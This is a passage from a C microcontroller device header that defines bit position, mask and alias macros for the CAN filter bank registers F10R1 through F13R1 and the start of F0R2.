CAN_F10R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F10R1_FB10_Pos (10U) #define CAN_F10R1_FB10_Msk (0x1U << CAN_F10R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F10R1_FB10 CAN_F10R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F10R1_FB11_Pos (11U) #define CAN_F10R1_FB11_Msk (0x1U << CAN_F10R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F10R1_FB11 CAN_F10R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F10R1_FB12_Pos (12U) #define CAN_F10R1_FB12_Msk (0x1U << CAN_F10R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F10R1_FB12 CAN_F10R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F10R1_FB13_Pos (13U) #define CAN_F10R1_FB13_Msk (0x1U << CAN_F10R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F10R1_FB13 CAN_F10R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F10R1_FB14_Pos (14U) #define CAN_F10R1_FB14_Msk (0x1U << CAN_F10R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F10R1_FB14 CAN_F10R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F10R1_FB15_Pos (15U) #define CAN_F10R1_FB15_Msk (0x1U << CAN_F10R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F10R1_FB15 CAN_F10R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F10R1_FB16_Pos (16U) #define CAN_F10R1_FB16_Msk (0x1U << CAN_F10R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F10R1_FB16 CAN_F10R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F10R1_FB17_Pos (17U) #define CAN_F10R1_FB17_Msk (0x1U << CAN_F10R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F10R1_FB17 CAN_F10R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F10R1_FB18_Pos (18U) #define CAN_F10R1_FB18_Msk (0x1U << CAN_F10R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F10R1_FB18 CAN_F10R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F10R1_FB19_Pos (19U) #define CAN_F10R1_FB19_Msk (0x1U << CAN_F10R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F10R1_FB19 CAN_F10R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F10R1_FB20_Pos (20U) #define CAN_F10R1_FB20_Msk (0x1U << CAN_F10R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F10R1_FB20 CAN_F10R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F10R1_FB21_Pos (21U) #define CAN_F10R1_FB21_Msk (0x1U << CAN_F10R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F10R1_FB21 CAN_F10R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F10R1_FB22_Pos (22U) #define CAN_F10R1_FB22_Msk (0x1U << CAN_F10R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F10R1_FB22 CAN_F10R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F10R1_FB23_Pos (23U) #define CAN_F10R1_FB23_Msk (0x1U << CAN_F10R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F10R1_FB23 CAN_F10R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F10R1_FB24_Pos (24U) #define CAN_F10R1_FB24_Msk (0x1U << CAN_F10R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F10R1_FB24 CAN_F10R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F10R1_FB25_Pos (25U) #define CAN_F10R1_FB25_Msk (0x1U << CAN_F10R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F10R1_FB25 CAN_F10R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F10R1_FB26_Pos (26U) #define CAN_F10R1_FB26_Msk (0x1U << CAN_F10R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F10R1_FB26 CAN_F10R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F10R1_FB27_Pos (27U) #define CAN_F10R1_FB27_Msk (0x1U << CAN_F10R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F10R1_FB27 CAN_F10R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F10R1_FB28_Pos (28U) #define CAN_F10R1_FB28_Msk (0x1U << CAN_F10R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F10R1_FB28 CAN_F10R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F10R1_FB29_Pos (29U) #define CAN_F10R1_FB29_Msk (0x1U << CAN_F10R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F10R1_FB29 CAN_F10R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F10R1_FB30_Pos (30U) #define CAN_F10R1_FB30_Msk (0x1U << CAN_F10R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F10R1_FB30 CAN_F10R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F10R1_FB31_Pos (31U) #define CAN_F10R1_FB31_Msk (0x1U << CAN_F10R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F10R1_FB31 CAN_F10R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F11R1 register ******************/ #define CAN_F11R1_FB0_Pos (0U) #define CAN_F11R1_FB0_Msk (0x1U << CAN_F11R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F11R1_FB0 CAN_F11R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F11R1_FB1_Pos (1U) #define CAN_F11R1_FB1_Msk (0x1U << CAN_F11R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F11R1_FB1 CAN_F11R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F11R1_FB2_Pos (2U) #define CAN_F11R1_FB2_Msk (0x1U << CAN_F11R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F11R1_FB2 CAN_F11R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F11R1_FB3_Pos (3U) #define CAN_F11R1_FB3_Msk (0x1U << CAN_F11R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F11R1_FB3 CAN_F11R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F11R1_FB4_Pos (4U) #define CAN_F11R1_FB4_Msk (0x1U << CAN_F11R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F11R1_FB4 CAN_F11R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F11R1_FB5_Pos (5U) #define CAN_F11R1_FB5_Msk (0x1U << CAN_F11R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F11R1_FB5 CAN_F11R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F11R1_FB6_Pos (6U) #define CAN_F11R1_FB6_Msk (0x1U << CAN_F11R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F11R1_FB6 CAN_F11R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F11R1_FB7_Pos (7U) #define CAN_F11R1_FB7_Msk (0x1U << CAN_F11R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F11R1_FB7 CAN_F11R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F11R1_FB8_Pos (8U) #define CAN_F11R1_FB8_Msk (0x1U << CAN_F11R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F11R1_FB8 CAN_F11R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F11R1_FB9_Pos (9U) #define CAN_F11R1_FB9_Msk (0x1U << CAN_F11R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F11R1_FB9 CAN_F11R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F11R1_FB10_Pos (10U) #define CAN_F11R1_FB10_Msk (0x1U << CAN_F11R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F11R1_FB10 CAN_F11R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F11R1_FB11_Pos (11U) #define CAN_F11R1_FB11_Msk (0x1U << CAN_F11R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F11R1_FB11 CAN_F11R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F11R1_FB12_Pos (12U) #define CAN_F11R1_FB12_Msk (0x1U << CAN_F11R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F11R1_FB12 CAN_F11R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F11R1_FB13_Pos (13U) #define CAN_F11R1_FB13_Msk (0x1U << CAN_F11R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F11R1_FB13 CAN_F11R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F11R1_FB14_Pos (14U) #define CAN_F11R1_FB14_Msk (0x1U << CAN_F11R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F11R1_FB14 CAN_F11R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F11R1_FB15_Pos (15U) #define CAN_F11R1_FB15_Msk (0x1U << CAN_F11R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F11R1_FB15 CAN_F11R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F11R1_FB16_Pos (16U) #define CAN_F11R1_FB16_Msk (0x1U << CAN_F11R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F11R1_FB16 CAN_F11R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F11R1_FB17_Pos (17U) #define CAN_F11R1_FB17_Msk (0x1U << CAN_F11R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F11R1_FB17 CAN_F11R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F11R1_FB18_Pos (18U) #define CAN_F11R1_FB18_Msk (0x1U << CAN_F11R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F11R1_FB18 CAN_F11R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F11R1_FB19_Pos (19U) #define CAN_F11R1_FB19_Msk (0x1U << CAN_F11R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F11R1_FB19 CAN_F11R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F11R1_FB20_Pos (20U) #define CAN_F11R1_FB20_Msk (0x1U << CAN_F11R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F11R1_FB20 CAN_F11R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F11R1_FB21_Pos (21U) #define CAN_F11R1_FB21_Msk (0x1U << CAN_F11R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F11R1_FB21 CAN_F11R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F11R1_FB22_Pos (22U) #define CAN_F11R1_FB22_Msk (0x1U << CAN_F11R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F11R1_FB22 CAN_F11R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F11R1_FB23_Pos (23U) #define CAN_F11R1_FB23_Msk (0x1U << CAN_F11R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F11R1_FB23 CAN_F11R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F11R1_FB24_Pos (24U) #define CAN_F11R1_FB24_Msk (0x1U << CAN_F11R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F11R1_FB24 CAN_F11R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F11R1_FB25_Pos (25U) #define CAN_F11R1_FB25_Msk (0x1U << CAN_F11R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F11R1_FB25 CAN_F11R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F11R1_FB26_Pos (26U) #define CAN_F11R1_FB26_Msk (0x1U << CAN_F11R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F11R1_FB26 CAN_F11R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F11R1_FB27_Pos (27U) #define CAN_F11R1_FB27_Msk (0x1U << CAN_F11R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F11R1_FB27 CAN_F11R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F11R1_FB28_Pos (28U) #define CAN_F11R1_FB28_Msk (0x1U << CAN_F11R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F11R1_FB28 CAN_F11R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F11R1_FB29_Pos (29U) #define CAN_F11R1_FB29_Msk (0x1U << CAN_F11R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F11R1_FB29 CAN_F11R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F11R1_FB30_Pos (30U) #define CAN_F11R1_FB30_Msk (0x1U << CAN_F11R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F11R1_FB30 CAN_F11R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F11R1_FB31_Pos (31U) #define CAN_F11R1_FB31_Msk (0x1U << CAN_F11R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F11R1_FB31 CAN_F11R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F12R1 register ******************/ #define CAN_F12R1_FB0_Pos (0U) #define CAN_F12R1_FB0_Msk (0x1U << CAN_F12R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F12R1_FB0 CAN_F12R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F12R1_FB1_Pos (1U) #define CAN_F12R1_FB1_Msk (0x1U << CAN_F12R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F12R1_FB1 CAN_F12R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F12R1_FB2_Pos (2U) #define CAN_F12R1_FB2_Msk (0x1U << CAN_F12R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F12R1_FB2 CAN_F12R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F12R1_FB3_Pos (3U) #define CAN_F12R1_FB3_Msk (0x1U << CAN_F12R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F12R1_FB3 CAN_F12R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F12R1_FB4_Pos (4U) #define CAN_F12R1_FB4_Msk (0x1U << CAN_F12R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F12R1_FB4 CAN_F12R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F12R1_FB5_Pos (5U) #define CAN_F12R1_FB5_Msk (0x1U << CAN_F12R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F12R1_FB5 CAN_F12R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F12R1_FB6_Pos (6U) #define CAN_F12R1_FB6_Msk (0x1U << CAN_F12R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F12R1_FB6 CAN_F12R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F12R1_FB7_Pos (7U) #define CAN_F12R1_FB7_Msk (0x1U << CAN_F12R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F12R1_FB7 CAN_F12R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F12R1_FB8_Pos (8U) #define CAN_F12R1_FB8_Msk (0x1U << CAN_F12R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F12R1_FB8 CAN_F12R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F12R1_FB9_Pos (9U) #define CAN_F12R1_FB9_Msk (0x1U << CAN_F12R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F12R1_FB9 CAN_F12R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F12R1_FB10_Pos (10U) #define CAN_F12R1_FB10_Msk (0x1U << CAN_F12R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F12R1_FB10 CAN_F12R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F12R1_FB11_Pos (11U) #define CAN_F12R1_FB11_Msk (0x1U << CAN_F12R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F12R1_FB11 CAN_F12R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F12R1_FB12_Pos (12U) #define CAN_F12R1_FB12_Msk (0x1U << CAN_F12R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F12R1_FB12 CAN_F12R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F12R1_FB13_Pos (13U) #define CAN_F12R1_FB13_Msk (0x1U << CAN_F12R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F12R1_FB13 CAN_F12R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F12R1_FB14_Pos (14U) #define CAN_F12R1_FB14_Msk (0x1U << CAN_F12R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F12R1_FB14 CAN_F12R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F12R1_FB15_Pos (15U) #define CAN_F12R1_FB15_Msk (0x1U << CAN_F12R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F12R1_FB15 CAN_F12R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F12R1_FB16_Pos (16U) #define CAN_F12R1_FB16_Msk (0x1U << CAN_F12R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F12R1_FB16 CAN_F12R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F12R1_FB17_Pos (17U) #define CAN_F12R1_FB17_Msk (0x1U << CAN_F12R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F12R1_FB17 CAN_F12R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F12R1_FB18_Pos (18U) #define CAN_F12R1_FB18_Msk (0x1U << CAN_F12R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F12R1_FB18 CAN_F12R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F12R1_FB19_Pos (19U) #define CAN_F12R1_FB19_Msk (0x1U << CAN_F12R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F12R1_FB19 CAN_F12R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F12R1_FB20_Pos (20U) #define CAN_F12R1_FB20_Msk (0x1U << CAN_F12R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F12R1_FB20 CAN_F12R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F12R1_FB21_Pos (21U) #define CAN_F12R1_FB21_Msk (0x1U << CAN_F12R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F12R1_FB21 CAN_F12R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F12R1_FB22_Pos (22U) #define CAN_F12R1_FB22_Msk (0x1U << CAN_F12R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F12R1_FB22 CAN_F12R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F12R1_FB23_Pos (23U) #define CAN_F12R1_FB23_Msk (0x1U << CAN_F12R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F12R1_FB23 CAN_F12R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F12R1_FB24_Pos (24U) #define CAN_F12R1_FB24_Msk (0x1U << CAN_F12R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F12R1_FB24 CAN_F12R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F12R1_FB25_Pos (25U) #define CAN_F12R1_FB25_Msk (0x1U << CAN_F12R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F12R1_FB25 CAN_F12R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F12R1_FB26_Pos (26U) #define CAN_F12R1_FB26_Msk (0x1U << CAN_F12R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F12R1_FB26 CAN_F12R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F12R1_FB27_Pos (27U) #define CAN_F12R1_FB27_Msk (0x1U << CAN_F12R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F12R1_FB27 CAN_F12R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F12R1_FB28_Pos (28U) #define CAN_F12R1_FB28_Msk (0x1U << CAN_F12R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F12R1_FB28 CAN_F12R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F12R1_FB29_Pos (29U) #define CAN_F12R1_FB29_Msk (0x1U << CAN_F12R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F12R1_FB29 CAN_F12R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F12R1_FB30_Pos (30U) #define CAN_F12R1_FB30_Msk (0x1U << CAN_F12R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F12R1_FB30 CAN_F12R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F12R1_FB31_Pos (31U) #define CAN_F12R1_FB31_Msk (0x1U << CAN_F12R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F12R1_FB31 CAN_F12R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F13R1 register ******************/ #define CAN_F13R1_FB0_Pos (0U) #define CAN_F13R1_FB0_Msk (0x1U << CAN_F13R1_FB0_Pos) /*!< 0x00000001 */ #define CAN_F13R1_FB0 CAN_F13R1_FB0_Msk /*!<Filter bit 0 */ #define CAN_F13R1_FB1_Pos (1U) #define CAN_F13R1_FB1_Msk (0x1U << CAN_F13R1_FB1_Pos) /*!< 0x00000002 */ #define CAN_F13R1_FB1 CAN_F13R1_FB1_Msk /*!<Filter bit 1 */ #define CAN_F13R1_FB2_Pos (2U) #define CAN_F13R1_FB2_Msk (0x1U << CAN_F13R1_FB2_Pos) /*!< 0x00000004 */ #define CAN_F13R1_FB2 CAN_F13R1_FB2_Msk /*!<Filter bit 2 */ #define CAN_F13R1_FB3_Pos (3U) #define CAN_F13R1_FB3_Msk (0x1U << CAN_F13R1_FB3_Pos) /*!< 0x00000008 */ #define CAN_F13R1_FB3 CAN_F13R1_FB3_Msk /*!<Filter bit 3 */ #define CAN_F13R1_FB4_Pos (4U) #define CAN_F13R1_FB4_Msk (0x1U << CAN_F13R1_FB4_Pos) /*!< 0x00000010 */ #define CAN_F13R1_FB4 CAN_F13R1_FB4_Msk /*!<Filter bit 4 */ #define CAN_F13R1_FB5_Pos (5U) #define CAN_F13R1_FB5_Msk (0x1U << CAN_F13R1_FB5_Pos) /*!< 0x00000020 */ #define CAN_F13R1_FB5 CAN_F13R1_FB5_Msk /*!<Filter bit 5 */ #define CAN_F13R1_FB6_Pos (6U) #define CAN_F13R1_FB6_Msk (0x1U << CAN_F13R1_FB6_Pos) /*!< 0x00000040 */ #define CAN_F13R1_FB6 CAN_F13R1_FB6_Msk /*!<Filter bit 6 */ #define CAN_F13R1_FB7_Pos (7U) #define CAN_F13R1_FB7_Msk (0x1U << CAN_F13R1_FB7_Pos) /*!< 0x00000080 */ #define CAN_F13R1_FB7 CAN_F13R1_FB7_Msk /*!<Filter bit 7 */ #define CAN_F13R1_FB8_Pos (8U) #define CAN_F13R1_FB8_Msk (0x1U << CAN_F13R1_FB8_Pos) /*!< 0x00000100 */ #define CAN_F13R1_FB8 CAN_F13R1_FB8_Msk /*!<Filter bit 8 */ #define CAN_F13R1_FB9_Pos (9U) #define CAN_F13R1_FB9_Msk (0x1U << CAN_F13R1_FB9_Pos) /*!< 0x00000200 */ #define CAN_F13R1_FB9 CAN_F13R1_FB9_Msk /*!<Filter bit 9 */ #define CAN_F13R1_FB10_Pos (10U) #define CAN_F13R1_FB10_Msk (0x1U << CAN_F13R1_FB10_Pos) /*!< 0x00000400 */ #define CAN_F13R1_FB10 CAN_F13R1_FB10_Msk /*!<Filter bit 10 */ #define CAN_F13R1_FB11_Pos (11U) #define CAN_F13R1_FB11_Msk (0x1U << CAN_F13R1_FB11_Pos) /*!< 0x00000800 */ #define CAN_F13R1_FB11 CAN_F13R1_FB11_Msk /*!<Filter bit 11 */ #define CAN_F13R1_FB12_Pos (12U) #define CAN_F13R1_FB12_Msk (0x1U << CAN_F13R1_FB12_Pos) /*!< 0x00001000 */ #define CAN_F13R1_FB12 CAN_F13R1_FB12_Msk /*!<Filter bit 12 */ #define CAN_F13R1_FB13_Pos (13U) #define CAN_F13R1_FB13_Msk (0x1U << CAN_F13R1_FB13_Pos) /*!< 0x00002000 */ #define CAN_F13R1_FB13 CAN_F13R1_FB13_Msk /*!<Filter bit 13 */ #define CAN_F13R1_FB14_Pos (14U) #define CAN_F13R1_FB14_Msk (0x1U << CAN_F13R1_FB14_Pos) /*!< 0x00004000 */ #define CAN_F13R1_FB14 CAN_F13R1_FB14_Msk /*!<Filter bit 14 */ #define CAN_F13R1_FB15_Pos (15U) #define CAN_F13R1_FB15_Msk (0x1U << CAN_F13R1_FB15_Pos) /*!< 0x00008000 */ #define CAN_F13R1_FB15 CAN_F13R1_FB15_Msk /*!<Filter bit 15 */ #define CAN_F13R1_FB16_Pos (16U) #define CAN_F13R1_FB16_Msk (0x1U << CAN_F13R1_FB16_Pos) /*!< 0x00010000 */ #define CAN_F13R1_FB16 CAN_F13R1_FB16_Msk /*!<Filter bit 16 */ #define CAN_F13R1_FB17_Pos (17U) #define CAN_F13R1_FB17_Msk (0x1U << CAN_F13R1_FB17_Pos) /*!< 0x00020000 */ #define CAN_F13R1_FB17 CAN_F13R1_FB17_Msk /*!<Filter bit 17 */ #define CAN_F13R1_FB18_Pos (18U) #define CAN_F13R1_FB18_Msk (0x1U << CAN_F13R1_FB18_Pos) /*!< 0x00040000 */ #define CAN_F13R1_FB18 CAN_F13R1_FB18_Msk /*!<Filter bit 18 */ #define CAN_F13R1_FB19_Pos (19U) #define CAN_F13R1_FB19_Msk (0x1U << CAN_F13R1_FB19_Pos) /*!< 0x00080000 */ #define CAN_F13R1_FB19 CAN_F13R1_FB19_Msk /*!<Filter bit 19 */ #define CAN_F13R1_FB20_Pos (20U) #define CAN_F13R1_FB20_Msk (0x1U << CAN_F13R1_FB20_Pos) /*!< 0x00100000 */ #define CAN_F13R1_FB20 CAN_F13R1_FB20_Msk /*!<Filter bit 20 */ #define CAN_F13R1_FB21_Pos (21U) #define CAN_F13R1_FB21_Msk (0x1U << CAN_F13R1_FB21_Pos) /*!< 0x00200000 */ #define CAN_F13R1_FB21 CAN_F13R1_FB21_Msk /*!<Filter bit 21 */ #define CAN_F13R1_FB22_Pos (22U) #define CAN_F13R1_FB22_Msk (0x1U << CAN_F13R1_FB22_Pos) /*!< 0x00400000 */ #define CAN_F13R1_FB22 CAN_F13R1_FB22_Msk /*!<Filter bit 22 */ #define CAN_F13R1_FB23_Pos (23U) #define CAN_F13R1_FB23_Msk (0x1U << CAN_F13R1_FB23_Pos) /*!< 0x00800000 */ #define CAN_F13R1_FB23 CAN_F13R1_FB23_Msk /*!<Filter bit 23 */ #define CAN_F13R1_FB24_Pos (24U) #define CAN_F13R1_FB24_Msk (0x1U << CAN_F13R1_FB24_Pos) /*!< 0x01000000 */ #define CAN_F13R1_FB24 CAN_F13R1_FB24_Msk /*!<Filter bit 24 */ #define CAN_F13R1_FB25_Pos (25U) #define CAN_F13R1_FB25_Msk (0x1U << CAN_F13R1_FB25_Pos) /*!< 0x02000000 */ #define CAN_F13R1_FB25 CAN_F13R1_FB25_Msk /*!<Filter bit 25 */ #define CAN_F13R1_FB26_Pos (26U) #define CAN_F13R1_FB26_Msk (0x1U << CAN_F13R1_FB26_Pos) /*!< 0x04000000 */ #define CAN_F13R1_FB26 CAN_F13R1_FB26_Msk /*!<Filter bit 26 */ #define CAN_F13R1_FB27_Pos (27U) #define CAN_F13R1_FB27_Msk (0x1U << CAN_F13R1_FB27_Pos) /*!< 0x08000000 */ #define CAN_F13R1_FB27 CAN_F13R1_FB27_Msk /*!<Filter bit 27 */ #define CAN_F13R1_FB28_Pos (28U) #define CAN_F13R1_FB28_Msk (0x1U << CAN_F13R1_FB28_Pos) /*!< 0x10000000 */ #define CAN_F13R1_FB28 CAN_F13R1_FB28_Msk /*!<Filter bit 28 */ #define CAN_F13R1_FB29_Pos (29U) #define CAN_F13R1_FB29_Msk (0x1U << CAN_F13R1_FB29_Pos) /*!< 0x20000000 */ #define CAN_F13R1_FB29 CAN_F13R1_FB29_Msk /*!<Filter bit 29 */ #define CAN_F13R1_FB30_Pos (30U) #define CAN_F13R1_FB30_Msk (0x1U << CAN_F13R1_FB30_Pos) /*!< 0x40000000 */ #define CAN_F13R1_FB30 CAN_F13R1_FB30_Msk /*!<Filter bit 30 */ #define CAN_F13R1_FB31_Pos (31U) #define CAN_F13R1_FB31_Msk (0x1U << CAN_F13R1_FB31_Pos) /*!< 0x80000000 */ #define CAN_F13R1_FB31 CAN_F13R1_FB31_Msk /*!<Filter bit 31 */ /******************* Bit definition for CAN_F0R2 register *******************/ #define CAN_F0R2_FB0_Pos (0U) #define CAN_F0R2_FB0_Msk (0x1U << CAN_F0R2_FB0_Pos) /*!< 0x00000001 */ #define CAN_F0R2_FB0 CAN_F0R2_FB0_Msk /*!<Filter bit 0 */ #define CAN_F0R2_FB1_Pos (1U) #define CAN_F0R2_FB1_Msk (0x1U << CAN_F0R2_FB1_Pos) /*!< 0x00000002 */ #define CAN_F0R2_FB1 CAN_F0R2_FB1_Msk /*!<Filter bit 1 */ #define CAN_F0R2_FB2_Pos (2U) #define CAN_F0R2_FB2_Msk (0x1U << CAN_F0R2_FB2_Pos) /*!< 0x00000004 */ #define CAN_F0R2_FB2 CAN_F0R2_FB2_Msk /*!<Filter bit 2 */ #define CAN_F0R2_FB3_Pos (3U) #define CAN_F0R2_FB3_Msk (0x1U << CAN_F0R2_FB3_Pos) /*!< 0x00000008 */ #define CAN_F0R2_FB3 CAN_F0R2_FB3_Msk /*!<Filter bit 3 */ #define CAN_F0R2_FB4_Pos (4U) #define CAN_F0R2_FB4_Msk (0x1U << CAN_F0R2_FB4_Pos) /*!< 0x00000010 */ #define CAN_F0R2_FB4 CAN_F0R2_FB4_Msk 